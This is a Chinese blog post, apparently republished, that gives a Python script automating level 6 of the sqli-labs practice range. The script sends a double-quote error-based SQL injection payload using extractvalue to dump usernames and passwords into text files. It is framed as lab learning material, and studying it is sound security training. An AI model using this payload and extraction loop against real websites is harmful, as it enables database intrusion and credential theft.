sqli-labs靶场自动化利用工具——第6关

news2024/9/23 7:21:00

文章目录

  • 概要
  • 整体架构流程
  • 技术细节
  • 执行效果
  • 小结

概要

Sqli-Labs靶场对于网安专业的学生或正在学习网安的朋友来说并不陌生,或者说已经很熟悉。那有没有朋友想过自己开发一个测试脚本能实现自动化化测试sqli-labs呢?可能有些人会说不是有sqlmap,那我们又何须使用这个小脚本呢?这里我统一回答,sqlmap只是一个工具,工具始终是不能代替人的思考。开发这个测试的脚本他都是有针对性的,他是针对每一关的精心设计。但凡脱离实际都是在空想。我也是一直围绕这个主题,所以想到了开发能自动化测试sqli-labs靶场每一关的POC。最后这个只能用于有基础的网安人进行学习,学习网安路还是不能投机取巧的。

本章适合人群:

  1. 网安专业学生
  2. 报班学习网安内容的同学
  3. 提高写POC能力的网安从业者

整体架构流程

因为是sqli-labs的第6关,且我觉得名字很是麻烦,所以我在写脚本的时候错将sqli-labs写成了sql-libs请见谅。如果你有强迫症可以自行修改。

整体流程主要是仿爬虫的形式访问网页,之后将得到的数据记录在和py文件同一级的目录下面。

技术细节

import re
import requests

dict_list = {}


def send_request(url, options, limit_choice, file_name):
    try:
        headers = {
            'Host': 'sql:8081',
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0',
            'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8',
            'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
            'Accept-Encoding': 'gzip, deflate',
            'Connection': 'close',
            'Upgrade-Insecure-Requests': '1',
            'Priority': 'u=0, i'
        }
        params = {
            'id': f'1" and extractvalue(1,concat(0x23,(select {options} from users order by id limit {limit_choice},1),0x23))-- -'
        }
        response = requests.get(url + "/Less-6/", headers=headers, params=params, verify=False)
        if response.status_code == 200:
            # print(f'{url} 存在漏洞.')
            html_content = response.text
            match = re.search(r"XPATH syntax error: '#(.*?)#'", html_content)
            if match:
                extracted_value = match.group(1)

                # 将提取的信息写入文件
                with open(file_name, 'a') as f:
                    f.write(f"{extracted_value}\n")
            else:
                print(f"未能从 {url} 提取值")
        else:
            print(f'{url} 请求失败,状态码: {response.status_code}')
    except requests.RequestException as e:
        print(f'Error scanning {url}: {e}')
    except IOError as e:
        print(f"Error writing to file: {e}")


url = 'http://sql:8081'

# 创建两个空文件
open('usernames.txt', 'w').close()
open('passwords.txt', 'w').close()

for limit_choice in range(0, 13):
    send_request(url, "username", limit_choice, 'usernames.txt')
    send_request(url, "password", limit_choice, 'passwords.txt')

print("所有请求已完成,结果已保存到 usernames.txt 和 passwords.txt 文件中。")

执行效果

小结

由于我的sqli-labs靶场是搭建在我的本机,所以使用代码时需要进行修改。

且想输出不一样的文件内容格式,也可以进行微调整。

最后还是那句话网安的路上不会一帆风顺,还需脚踏实地一步一个脚印的前行,仅用于POC的学习使用,其他使用与作者无关。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2126976.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

中信银行信用卡中心社招:TAS人才测评系统题库及通关攻略更新了!

中信银行信用卡中心(以下简称“卡中心”)是中信银行在深圳设立的对信用卡业务进行统一管理、集中操作、独立核算的专营机构。2002年底,由中信银行总行与中信嘉华银行在深圳合作筹建成立;卡中心自成立伊始,始终坚持“以…

Windows系统一键启动Redis脚本

Redis 是一个开源的、高性能的键值存储数据库,广泛应用于缓存、数据分析、消息队列等场景。无论是在开发环境还是生产环境中,快速启动 Redis 服务都是非常重要的。为此,本文将介绍如何在 Windows 系统中创建一键启动 Redis 的脚本&#xff0c…

网络安全 L2 Introduction to Cryptography 密码学

Definitions 1. crypto - hidden/secret grafia - writing 2. “the science and study of secret writing” 3. Cryptography is the science of protecting data, which provides means of converting data into unreadable form, so that 1. the data cannot be ac…

make 程序规定的 makefile 文件的书写语法(2)

(13)接着开始一个更复杂的例子,课程的素材 2 ,先给出书写 makefile 的框架 : (14) (15) 谢谢

0x07 Nginx越界读取缓存漏洞 CVE-2017-7529 复现

参考: Nginx越界读取缓存漏洞 CVE-2017-7529 | PeiQi文库 (wgpsec.org)Nginx越界读取缓存漏洞(CVE-2017-7529)复现分析 - qweg_focus - 博客园 (cnblogs.com) 一、fofa 搜索 nginx && port"80" 我这里写了个脚本将ip保存…

el-form之表单校验自动定位到报错位置问题,,提升用户体验

需求描述 由于需要填写的表单项太多,提交的时候校验不通过,如果没填写的表单项在最上面,用户看不到不知道发生了啥,所以需要将页面滚动定位到第一个报错的表单项位置,提升用户体验 实现步骤 点击保存校验 报错项class会…

opencv 之 实战项目 识别银行卡上的数字

OpenCV 之 实战项目:识别银行卡上的数字 引言 在日常生活中,银行卡的识别是一个常见的需求,特别是在金融领域。本实战项目旨在使用 OpenCV 库来识别银行卡上的数字。我们将通过模板匹配的方法,结合图像处理技术,来准…

【网络安全】基础知识详解(非常详细)零基础入门到精通

一、什么是网络安全? 百度上对“网络安全”是这么介绍的: “网络安全是指网络系统的硬件、软件及其系统中的数据受到保护,不因偶然的或者恶意的原因而遭受到破坏、更改、泄露、系统连续可靠正常地运行,网络服务不中断。” 嗯…是不…

Xubuntu22.04之四种方式:查看U盘、硬盘格式(二百六十七)

简介: CSDN博客专家、《Android系统多媒体进阶实战》一书作者 新书发布:《Android系统多媒体进阶实战》🚀 优质专栏: Audio工程师进阶系列【原创干货持续更新中……】🚀 优质专栏: 多媒体系统工程师系列【…

【操作系统】二、进程管理:4.死锁(银行家算法、系统安全状态、静态分配策略、资源有序分配法)

五、死锁 文章目录 五、死锁1.产生1.1产生情况1.2产生的4个必要条件 2.处理方式2.1预防死锁2.1.1破坏互斥条件2.1.2破坏请求和保持条件2.1.3破坏不可抢占条件2.1.4破坏循环等待条件 2.2避免死锁2.2.1系统安全状态❗2.2.2银行家算法 2.3检测死锁2.4解除死锁 死锁:资源…

用centos安装远程迅雷失败,重写程序做一台下载服务器

安装远程迅雷的时候,要不是安装包地址过期,就是出现64不兼容32的libz.so.1的包,而且32位的libz包也是好多网站过期。 没办法用仅有的python3,用flask搭建了一个小型的内网下载服务器,当然,只要路由器做映射…

软件测试认知篇

哈喽,哈喽,大家好~ 我是你们的老朋友:保护小周ღ 今天给大家带来的是 软件测试的认知篇, 从什么是软件测试出发, 其次是测试和开发之间的区别, 软件测试有哪些岗位, 以及测试人员需求具备的素质, 最后是3道软件测试的面试题~ &#xff0…

如何将 Electron 项目上架 Apple Store

前言 Electron 是一个开源框架,它允许开发者使用 Web 技术(HTML、CSS 和 JavaScript)来构建跨平台的桌面应用程序。 Electron 应用程序可以运行在 Windows、macOS 和 Linux 上,为用户提供了一种统一的方式来开发和维护软件。 本文将探讨如何将 Electron 构建的桌面应用程…

R语言进行无序多分类Logistic回归

在临床研究中,接触最多的是二分类数据,如淋巴癌是否转移,是否死亡,这些因变量最后都可以转换成二分类0与1的问题。然后建立二元logistic回归方程,可以得到影响因素的OR值。但有时我们也会接触到多分类结局数据&#xf…

re题(18)BUUCTF-简单注册器

BUUCTF在线评测 (buuoj.cn) 放到jadx找主函数 也可以用Jeb打开,Tab反编译成java 写个脚本 str[d,d,2,9,4,0,c,0,4,4,6,2,b,4,d,d,7,c,4,5,0,5,2,8,8,3,5,c,c,a,1,5]str[2]chr(ord(str[2])ord(str[3])-50) str[4]chr( ord(str[2])ord(str[5])-0x30 ) str[30]chr( ord…

JS设计模式之外观模式:简化复杂系统调用的利器

一、了解外观模式 概念 外观模式(Facade Pattern)是一种结构型设计模式,它提供了一个简单的接口,隐藏了一个复杂系统的内部复杂性,使得客户端可以通过该接口与系统进行交互,而无需了解系统内部的具体实现…

vue3 一次二次封装element-plus组件引发的思考

前言 在开发 Vue 项目中我们一般使用第三方 UI 组件库进行开发,如 Element-Plus、Element-ui、Ant-design等, 但是这些组件库提供的组件并不一定都能满足我们的日常开发需求,有时候我们需要实现的效果是直接使用组件库无法实现的,那么这时我…

TMS320F28335的基本电路设计

1.电源电路 2.时钟电路 3.复位电路 4.JTAG电路 5.外扩RAM电路 6.外扩Flash电路 7.GPIO电平转换电路 8.ADC调理电路 9.串口通信电路 10.CAN电路 11.I2C电路 12.BOOT启动电路 12.调试注意事项

如何判断一个系统的大小端的存储模式

1、什么是大小端 大小端:是指在计算机系统中,多字节数据(如整数、浮点数等)存储顺序的不同而不同的称呼。 在计算机内存中,数据是以字节为单位存储的。对于多字节数据,如4字节的整数,存储的时…

基于JAVA+SpringBoot+Vue的前后端分离企业oa管理系统

基于JAVASpringBootVue的前后端分离企业oa管理系统 前言 ✌全网粉丝20W,csdn特邀作者、博客专家、CSDN[新星计划]导师、java领域优质创作者,博客之星、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java技术领域和毕业项目实战✌ 🍅文末附源码下载链接&#x1…